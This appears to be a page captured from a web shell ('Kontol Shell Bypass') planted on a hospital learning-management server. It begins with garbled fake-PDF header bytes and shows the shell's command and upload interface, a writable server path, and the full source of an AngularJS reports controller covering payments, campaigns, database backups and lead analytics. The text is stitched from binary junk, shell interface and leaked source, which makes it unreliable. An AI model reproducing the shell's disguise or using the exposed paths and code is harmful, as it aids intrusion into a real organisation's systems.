%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/js/reports.js
/** ReportOnlinePayment **/
angular.module('MetronicApp').controller("ReportOnlinePayment", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.sdata = { p: 1, status: 'TXN_SUCCESS', med_phd: '0' };

	CR.lists = function (p) {
		show_loader();
		CR.sdata.p = p ? p : 1;

		CR.sdata.state_ids = '';
		var steps = $("#sdd_state_id").val();
		if (steps) {
			CR.sdata.state_ids = $("#sdd_state_id").val().join(',');
		}

		CR.sdata.discipline_ids = '';
		var steps = $("#sdd_discipline_id").val();
		if (steps) {
			CR.sdata.discipline_ids = $("#sdd_discipline_id").val().join(',');
		}

		$http({ url: API_URL + 'reports/online_payments', params: CR.sdata }).success(
			function (res) {
				CR.result = res.result;
				CR.page = res.page;
				CR.total_amt = res.total_amt;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.export_lists = function () {
		location.href = API_URL + 'reports/export_online_payments?' + $.param(CR.sdata);
	}

	/** Init **/
	CR.init = function () {
		setBsDatepicker();

		show_loader();
		$http({ url: API_URL + 'reports/init_online_payments' }).success(
			function (res) {
				CR.amt_lists = res.amt_lists;
				CR.today_paid_count = res.today_paid_count;
				CR.today_collection = res.today_collection;
				CR.states = res.states;
				CR.disciplines = res.disciplines;

				$timeout(() => {
					apply_select2($("#sdd_state_id"), "State (ALL)");
					apply_select2($("#sdd_discipline_id"), "Discipline (ALL)");
				});

				CR.lists();
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});


/** ReportCashPayment **/
angular.module('MetronicApp').controller("ReportCashPayment", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.sdata = { p: 1, is_medical: '0' };

	CR.lists = function (p) {
		show_loader();
		CR.sdata.p = p ? p : 1;
		$http({ url: API_URL + 'reports/cash_payments', params: CR.sdata }).success(
			function (res) {
				CR.result = res.result;
				CR.page = res.page;
				CR.total_amt = res.total_amt;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.export_lists = function () {
		location.href = API_URL + 'reports/export_cash_payments?' + $.param(CR.sdata);
	}

	CR.view_user_collections = function (id) {
		CR.sdata = { p: 1, user_id: id };
		CR.lists();
		$('[href="#tab_2"]').click();
	}

	/** Init **/
	CR.init = function () {
		setBsDatepicker();
		$http({ url: API_URL + 'reports/init_cash_payments' }).success(
			function (res) {
				CR.users = res.users;
				CR.summary = res.summary;

				CR.lists();
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});


/** ReportDisposition **/
angular.module('MetronicApp').controller("ReportDisposition", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.sdata = {};

	CR.lists = function (p) {
		show_loader();
		$http({ url: API_URL + 'reports/callers_disp', params: CR.sdata }).success(
			function (res) {
				CR.result = res.result;
				CR.total = res.total;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.export_lists = function () {
		location.href = API_URL + 'reports/export_cash_payments?' + $.param(CR.sdata);
	}

	CR.view_user_dispositions = function (id) {
		CR.sdata = { user_id: id };
		CR.lists();
		$('[href="#tab_2"]').click();
	}

	/** Init **/
	CR.init = function () {
		setBsDatepicker();
		$http({ url: API_URL + 'reports/init_callers_disp' }).success(
			function (res) {
				CR.users = res.users;
				CR.summary = res.summary;
				CR.summaryTotal = res.summaryTotal;

				CR.lists();
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});


/** PrevYearAnalysis **/
angular.module('MetronicApp').controller("PrevYearAnalysis", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.sdata = {};
	CR.mc_new = {};
	CR.mc_prev = {};

	CR.current_lms_data = function () {
		show_loader();
		var data = $("#sform").serialize();
		$http({ url: API_URL + 'reports/current_lms_data', method: 'POST', data: data }).success(
			function (res) {
				CR.cl_data = res.result;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.prev_lms_data = function () {
		show_loader();
		var data = $("#psform").serialize();
		$http({ url: API_URL + 'reports/prev_lms_data', method: 'POST', data: data }).success(
			function (res) {
				CR.pl_data = res.result;
			}
		).error(function (res) { showHttpErr(res); });
	}

	$scope.get_plans = function () {
		CR.plans = [];
		var ids = $("#program_id").val();
		if (ids) {
			CR.all_plans.forEach(function (v) {
				if (ids.indexOf(v.program_id) >= 0) {
					CR.plans.push(v);
				}
			});
		}
		$timeout(function () {
			$("#plan_id").change();
		});
	}

	CR.monthly_convertion_new_lms = function () {
		show_loader();
		$http({ url: API_URL + 'reports/monthly_convertion_new_lms' }).success(
			function (res) {
				CR.mc_new.months = res.months;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.monthly_convertion_prev_lms = function () {
		show_loader();
		$http({ url: API_URL + 'reports/monthly_convertion_prev_lms' }).success(
			function (res) {
				CR.mc_prev.months = res.months;
			}
		).error(function (res) { showHttpErr(res); });
	}

	/** Init **/
	CR.init = function () {
		CR.plans = [];
		setBsDatepicker();
		$http({ url: API_URL + 'reports/init_prev_year_analysis' }).success(
			function (res) {
				CR.states = res.states;
				CR.academic_careers = res.academic_careers;
				CR.programs = res.programs;
				CR.all_plans = res.plans;
				CR.utm_sources = res.utm_sources;

				CR.p_academic_careers = res.p_academic_careers;
				CR.p_programs = res.p_programs;
				CR.p_plans = res.p_plans;
				CR.p_utm_sources = res.p_utm_sources;

				$timeout(function () {
					apply_select2($("#steps"), "Step Completed (1,2,3,4,5,6,7)");
					apply_select2($("#ac_id"), "Programme Type");
					apply_select2($("#program_id"), "Programs");
					apply_select2($("#plan_id"), "Plans/Specializations");
					apply_select2($("#state_id"), "Region");
					apply_select2($("#utm_source_id"), "Sources");

					apply_select2($("#p_steps"), "Step Completed (1,2,3,4,5,6,7)");
					apply_select2($("#p_ac"), "Programme Type");
					apply_select2($("#p_program"), "Programs");
					apply_select2($("#p_plan"), "Plans/Specializations");
					apply_select2($("#p_state"), "Region");
					apply_select2($("#p_utm_source"), "Sources");

					$(".ng-vis-hid").removeClass("ng-vis-hid");
				});
			}
		).error(function (res) { showHttpErr(res); });

		CR.current_lms_data();
		CR.prev_lms_data();
	}
	CR.init();
});

/** Campaigns **/
angular.module('MetronicApp').controller("Campaigns", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.sdata = {};
	CR.sdata_t = { type: '', k: '' };

	CR.open_form = function (dtl) {
		hide_form_errors($("#frm"));
		CR.data = dtl ? dtl : { id: '', type: 'EMAIL', template_id: '', msg: '', time_list: '' };
		tinymce.EditorManager.get('camp_ta_msg').setContent(CR.data.msg);
		if (dtl) {
			if (dtl.is_hidden_temp) {
				CR.data.template_id = '';
			}
		}

		show_loader();
		setTimeout(function () {
			showModalNew($("#campaignFormModal"), true, true);
			hide_loader();
		}, 1000);
	}

	CR.lists = function (p) {
		show_loader();
		CR.sdata.p = p ? p : 1;
		$http({ url: API_URL + 'reports/campaigns', params: CR.sdata }).success(
			function (res) {
				CR.result = res.result;
				CR.page = res.page;
				hide_loader();
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.save = function (status) {
		if (CR.data.type == 'EMAIL') {
			tinyMCE.triggerSave(false, true);
		}
		var frm = $("#frm");
		var formData = new FormData(frm[0]);
		formData.append('status', status);
		show_loader();
		$http({ url: API_URL + 'reports/save_campaign', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.lists(CR.data.id ? CR.sdata.p : 1);
					hideModal($("#campaignFormModal"));

				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.edit = function (id) {
		show_loader();
		$http({ url: API_URL + 'reports/campaign_detail/' + id }).success(
			function (res) {
				CR.open_form(res.dtl);
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.delete = function (id) {
		if (!confirm("Are you sure to delete?")) {
			return;
		}
		show_loader();
		$http({ url: API_URL + 'reports/delete_campaign', method: 'POST', data: { id: id } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.lists();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.test_campaign = function () {
		if (CR.data.type == 'EMAIL') {
			tinyMCE.triggerSave(false, true);
		}
		var frm = $("#frm");
		var formData = new FormData(frm[0]);
		formData.append('test', 'T');
		show_loader();
		$http({ url: API_URL + 'reports/save_campaign', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.campaign_templates = function () {
		show_loader();
		$http({ url: API_URL + 'reports/campaign_templates', params: CR.sdata_t }).success(
			function (res) {
				CR.templates = res.templates;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.filteredTemplates = () => {
		return CR.templates.filter(v => v.type === CR.sdata_t.type || CR.sdata_t.type === '');
	}
	CR.open_template_form = function (dtl) {
		CR.tdata = dtl ? dtl : { type: CR.sdata_t.type || 'FOLLOWUP_EMAIL', msg: '' };
		tinymce.EditorManager.get('ta_msg').setContent(CR.tdata.msg);
		showModalNew($("#templateFormModal"), true, true);
	}

	CR.save_template = function () {
		if (CR.tdata.type == 'EMAIL' || CR.tdata.type == 'FOLLOWUP_EMAIL' || CR.tdata.type == 'LETTER') {
			tinyMCE.triggerSave(false, true);
		}
		var frm = $("#tfrm");
		var formData = new FormData(frm[0]);
		show_loader();
		$http({ url: API_URL + 'reports/save_campaign_template', method: 'POST', data: formData, headers: { 'Content-Type': undefined } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.campaign_templates();
					hideModal($("#templateFormModal"));
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.edit_template = function (id) {
		show_loader();
		$http({ url: API_URL + 'reports/campaign_template_detail/' + id }).success(
			function (res) {
				CR.open_template_form(res.dtl);
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.delete_template = function (id) {
		if (!confirm("Are you sure to delete?")) {
			return;
		}
		show_loader();
		$http({ url: API_URL + 'reports/delete_campaign_template', method: 'POST', data: { id: id } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.campaign_templates();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.sdata_lu = {};
	CR.lists_leads_login_url = function (p) {
		CR.sdata_lu.step_completed = '';
		var steps = $("#sdd_steps").val();
		if (steps) {
			CR.sdata_lu.step_completed = $("#sdd_steps").val().join(',');
		}

		show_loader();
		CR.sdata_lu.p = p ? p : 1;
		$http({ url: API_URL + 'reports/lists_leads_login_url', params: CR.sdata_lu }).success(
			function (res) {
				CR.result_lu = res.result;
				CR.page_lu = res.page;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.export_lists_leads_login_url = function () {
		CR.sdata_lu.step_completed = '';
		var steps = $("#sdd_steps").val();
		if (steps) {
			CR.sdata_lu.step_completed = $("#sdd_steps").val().join(',');
		}
		location.href = API_URL + 'reports/export_lists_leads_login_url?' + $.param(CR.sdata_lu);
	}

	/** Init **/
	CR.init = function () {
		setBsDatepicker();
		set_tinymce("#ta_msg", 330);
		set_tinymce("#camp_ta_msg", 300);
		apply_select2($("#sdd_steps"), "Step Completed (ALL)");

		show_loader();
		$http({ url: API_URL + 'reports/init_campaigns' }).success(
			function (res) {
				CR.data_sets = res.data_sets;
				CR.templates = res.templates;
				CR.tags = res.tags;
				CR.tags_adv = res.tags_adv;

				CR.result_lu = res.result_lu;
				CR.page_lu = res.page_lu;

				CR.result = res.result;
				CR.page = res.page;
				CR.time_list = {
					'00:00:00': "00:00",
					'00:30:00': "00:30",
					'01:00:00': "01:00",
					'01:30:00': "01:30",
					'02:00:00': "02:00",
					'02:30:00': "02:30",
					'03:00:00': "03:00",
					'03:30:00': "03:30",
					'04:00:00': "04:00",
					'04:30:00': "04:30",
					'05:00:00': "05:00",
					'05:30:00': "05:30",
					'06:00:00': "06:00",
					'06:30:00': "06:30",
					'07:00:00': "07:00",
					'07:30:00': "07:30",
					'08:00:00': "08:00",
					'08:30:00': "08:30",
					'09:00:00': "09:00",
					'09:30:00': "09:30",
					'10:00:00': "10:00",
					'10:30:00': "10:30",
					'11:00:00': "11:00",
					'11:30:00': "11:30",
					'12:00:00': "12:00",
					'12:30:00': "12:30",
					'13:00:00': "13:00",
					'13:30:00': "13:30",
					'14:00:00': "14:00",
					'14:30:00': "14:30",
					'15:00:00': "15:00",
					'15:30:00': "15:30",
					'16:00:00': "16:00",
					'16:30:00': "16:30",
					'17:00:00': "17:00",
					'17:30:00': "17:30",
					'18:00:00': "18:00",
					'18:30:00': "18:30",
					'19:00:00': "19:00",
					'19:30:00': "19:30",
					'20:00:00': "20:00",
					'21:30:00': "21:30",
					'21:00:00': "21:00",
					'22:30:00': "22:30",
					'23:00:00': "23:00",
					'23:30:00': "23:30",
				};
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init();
});

/** DB Backups **/
angular.module('MetronicApp').controller("DBBackup", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.lists = function () {
		show_loader();
		$http({ url: API_URL + 'reports/db_backups' }).success(
			function (res) {
				CR.result = res.result;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.take_db_backup = function () {
		show_loader();
		$http({ url: API_URL + 'reports/take_db_backup' }).success(
			function (res) {
				CR.result = res.result;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.delete = function (name) {
		if (!confirm("Are you sure to delete?")) {
			return;
		}
		show_loader();
		$http({ url: API_URL + 'reports/delete_db_backup', method: 'POST', data: { db: name } }).success(
			function (res) {
				if (res.success) {
					show_alert_msg(res.msg);
					CR.lists();
				} else {
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	CR.lists();
});

/** Dashboard Detailed Analysis **/
angular.module('MetronicApp').controller("DashboardDetailedAnalysis", function ($scope, $http, $state, $location, $timeout) {
	var CR = this;
	CR.active_tab = 1;
	CR.sdata = { lmsdb: '' };
	CR.sdata_sg = { med_phd: '', lmsdb: '' };
	CR.sdata_s = { med_phd: '', lmsdb: '' };
	CR.sdata_p = { med_phd: '', lmsdb: '' };
	CR.sdata_dc = { med_phd: '', lmsdb: '' };
	CR.sdata_st = { med_phd: '', lmsdb: '' };
	CR.sdata_pb = { med_phd: '', lmsdb: '' };
	CR.sdata_ms = { med_phd: '', lmsdb: '' };
	CR.sdata_gender = { med_phd: '', lmsdb: '' };
	CR.sdata_amount = { med_phd: '', lmsdb: '' };

	CR.lms_db_change = () => {
		CR.sdata_sg.campus_id = CR.sdata.campus_id;
		CR.sdata_s.campus_id = CR.sdata.campus_id;
		CR.sdata_p.campus_id = CR.sdata.campus_id;
		CR.sdata_dc.campus_id = CR.sdata.campus_id;
		CR.sdata_st.campus_id = CR.sdata.campus_id;
		CR.sdata_pb.campus_id = CR.sdata.campus_id;
		CR.sdata_ms.campus_id = CR.sdata.campus_id;
		CR.sdata_gender.campus_id = CR.sdata.campus_id;
		CR.sdata_amount.campus_id = CR.sdata.campus_id;

		CR.sdata_sg.lmsdb = CR.sdata.lmsdb;
		CR.sdata_s.lmsdb = CR.sdata.lmsdb;
		CR.sdata_p.lmsdb = CR.sdata.lmsdb;
		CR.sdata_dc.lmsdb = CR.sdata.lmsdb;
		CR.sdata_st.lmsdb = CR.sdata.lmsdb;
		CR.sdata_pb.lmsdb = CR.sdata.lmsdb;
		CR.sdata_ms.lmsdb = CR.sdata.lmsdb;
		CR.sdata_gender.lmsdb = CR.sdata.lmsdb;
		CR.sdata_amount.lmsdb = CR.sdata.lmsdb;

		CR.sdata_sg.month = '';
		CR.sdata_s.month = '';
		CR.sdata_p.month = '';
		CR.sdata_dc.month = '';
		CR.sdata_st.month = '';
		CR.sdata_pb.month = '';
		CR.sdata_ms.month = '';
		CR.sdata_gender.month = '';
		CR.sdata_amount.month = '';

		CR.init_dashboard_analysis(CR.sdata.lmsdb == 'old_lms' ? 'T' : '');
	}

	CR.leads_group_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_group_wise_da', params: CR.sdata_sg }).success(
			function (res) {
				CR.group_wise = res.group_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_group_wise = function () {
		location.href = API_URL + 'reports/leads_group_wise_da/Excel?' + $.param(CR.sdata_s);
	}
	CR.leads_source_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_source_wise_da', params: CR.sdata_s }).success(
			function (res) {
				CR.source_wise = res.source_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_source_wise = function () {
		location.href = API_URL + 'reports/leads_source_wise_da/Excel?' + $.param(CR.sdata_s);
	}

	CR.leads_program_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_program_wise_da', params: CR.sdata_p }).success(
			function (res) {
				CR.program_wise = res.program_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_program_wise = function () {
		location.href = API_URL + 'reports/leads_program_wise_da/Excel?' + $.param(CR.sdata_p);
	}

	CR.leads_discipline_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_discipline_wise_da', params: CR.sdata_dc }).success(
			function (res) {
				CR.discipline_wise = res.discipline_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_discipline_wise = function () {
		location.href = API_URL + 'reports/leads_discipline_wise_da/Excel?' + $.param(CR.sdata_dc);
	}

	CR.leads_state_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_state_wise_da', params: CR.sdata_st }).success(
			function (res) {
				CR.state_wise = res.state_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_state_wise = function () {
		location.href = API_URL + 'reports/leads_state_wise_da/Excel?' + $.param(CR.sdata_st);
	}

	CR.leads_publishers_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_publishers_wise_da', params: CR.sdata_pb }).success(
			function (res) {
				CR.pub_wise = res.pub_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_publihers_wise = function () {
		location.href = API_URL + 'reports/leads_publishers_wise_da/Excel?' + $.param(CR.sdata_pb);
	}

	CR.leads_multi_source = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_multi_source_da', params: CR.sdata_ms }).success(
			function (res) {
				CR.multi_sources = res;
			}
		).error(function (res) { showHttpErr(res); });
	}

	CR.leads_gender_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_gender_wise_da', params: CR.sdata_gender }).success(
			function (res) {
				CR.gender_wise = res.gender_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_gender_wise = function () {
		location.href = API_URL + 'reports/leads_gender_wise_da/Excel?' + $.param(CR.sdata_gender);
	}

	CR.leads_amount_wise = function () {
		show_loader();
		$http({ url: API_URL + 'reports/leads_amount_wise_da', params: CR.sdata_amount }).success(
			function (res) {
				CR.amount_wise = res.amount_wise;
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.export_leads_amount_wise = function () {
		location.href = API_URL + 'reports/leads_amount_wise_da/Excel?' + $.param(CR.sdata_amount);
	}

	CR.init_dashboard_analysis = function (onlymm) {
		show_loader();
		$http({ url: API_URL + 'reports/init_dashboard_analysis/' + onlymm, params: CR.sdata }).success(
			function (res) {
				CR.all_utm_groups = res.all_utm_groups;
				CR.all_utm_sources = res.all_utm_sources;
				CR.all_states = res.all_states;
				CR.campuses = res.campuses;
				CR.months = res.months;

				if (onlymm != 'T') {
					CR.group_wise = res.group_wise;
				} else {
					switch (CR.active_tab) {
						case 1: CR.leads_group_wise(); break;
						case 2: CR.leads_source_wise(); break;
						case 3: CR.leads_program_wise(); break;
						case 4: CR.leads_discipline_wise(); break;
						case 5: CR.leads_state_wise(); break;
						case 6: CR.leads_publishers_wise(); break;
						case 7: CR.leads_multi_source(); break;
						case 8: CR.leads_gender_wise(); break;
						case 9: CR.leads_amount_wise(); break;
					}
				}
			}
		).error(function (res) { showHttpErr(res); });
	}
	CR.init_dashboard_analysis();
});

/** Api Leads Report **/
angular.module('MetronicApp').controller("ApileadsReport", function ($scope, $rootScope, $http, $state, $location, $timeout, Auth) {
	var cr = this;
	cr.sdata = { p: 1, status: 'SUCCESS' };
	cr.publishers = [];

	cr.lists = function (p) {
		show_loader();
		cr.sdata.p = p ? p : 1;
		$http({ url: API_URL + 'apileads/lists', params: cr.sdata }).success(
			function (res) {
				cr.result = res.result;
				cr.page = res.page;
				hide_loader();
			}
		).error(function (res) { showHttpErr(res); });
	}

	cr.exportList = () => {
		let url = API_URL + 'apileads/lists/EXPORT?' + $.param(cr.sdata);
		location.href = url;
	}

	/** Init **/
	cr.init = function () {
		setBsDatepicker();
		show_loader();
		$http({ url: API_URL + 'apileads/lists/INIT', params: cr.sdata }).success(
			function (res) {
				cr.result = res.result;
				cr.page = res.page;
				cr.publishers = res.publishers;
			}
		).error(function (res) { showHttpErr(res); });
	}
	cr.init();
});


/** Non Angular */
function get_cy_plans() {
	angular.element($("#sform")[0]).scope().get_plans();
}

//EOF

Kontol Shell Bypass